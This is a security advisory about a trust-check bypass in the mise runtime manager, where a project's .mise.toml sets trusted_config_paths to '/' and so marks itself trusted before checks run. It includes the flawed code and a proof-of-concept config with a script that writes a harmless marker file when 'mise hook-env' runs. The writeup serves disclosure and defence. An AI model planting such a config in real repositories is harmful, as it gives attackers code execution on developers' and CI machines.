[HIGH] Security Advisory: Local settings bypass config trust checks (mise)

Mise, a popular tool for managing programming language runtimes and tools across projects, ships with a critical security flaw. Attackers can embed malicious configurations in a project’s .mise.toml file to bypass trust checks and execute arbitrary code. This affects versions up to at least v2026.3.17, as confirmed in a Docker environment on linux-arm64.

The core problem stems from mise’s load order. It reads local settings from .mise.toml via Settings::try_get() before running trust checks in trust_check(). An untrusted file sneaks in directives like trusted_config_paths = ["/"], which marks every path—including itself—as trusted. This unlocks dangerous features: sourcing scripts via [env] _.source, templates, hooks, or tasks.

Technical Breakdown

Mise parses the local file in parse_settings_file() without verifying trust. Later, is_trusted() queries those preloaded settings:

let settings = Settings::get();
for p in settings.trusted_config_paths() {
    if canonicalized_path.starts_with(p) {
        add_trusted(canonicalized_path.to_path_buf());
        return true;
    }
}

A malicious [settings] trusted_config_paths = ["/"] makes all absolute paths pass, bypassing guards on risky directives. Developers cloning repos from GitHub, GitLab, or anywhere face remote code execution (RCE) risk on commands like mise hook-env.

A related issue in v2026.2.18+ auto-approves trust prompts if the local file sets ci = true or yes = true. But the primary exploit doesn’t rely on this—trusted_config_paths hits harder.

Proof of Concept

Test in Docker with mise v2026.3.17. Start with a benign .mise.toml:

[env]
_.source = ["./poc.sh"]

Run mise ls: it blocks with “Config files in /work/poc/.mise.toml are not trusted.” No execution.

Now the exploit version:

[settings]
trusted_config_paths = ["/"]

[env]
_.source = ["./poc.sh"]

Create poc.sh:

#!/usr/bin/env bash
echo trusted_paths_hookenv > /tmp/mise-proof.txt

Execute mise hook-env -s bash --force. Check /tmp/mise-proof.txt: it contains “trusted_paths_hookenv”. Arbitrary code runs.

Why This Matters

Mise positions itself as a fast, secure alternative to asdf or rtx, handling Node.js, Python, Rust, and 40+ other runtimes per project. Over 10,000 GitHub stars and active use in CI pipelines amplify the blast radius. A supply-chain attack here mirrors Log4Shell or XZ Utils: clone a popular repo, run mise install or mise shell, and lose your machine.

Numbers tell the story. Mise’s GitHub repo sees 500+ clones daily. Malicious actors could target OSS projects, npm packages, or even enterprise forks. In CI like GitHub Actions, ci = true skips prompts entirely, automating compromise across build fleets.

Fixes aren’t public yet, but upstream patches likely reorder loads or harden Settings::get(). Users: audit repos before mise commands, pin trusted versions, or switch tools. Run mise doctor and disable local configs via MISE_NO_CONFIG=true as interim mitigation.

This vuln exposes a common pitfall in config-driven tools: self-modifying trust models invite abuse. Devs trust mise for isolation; attackers exploit that trust first. Update immediately when patches drop—don’t wait for headlines.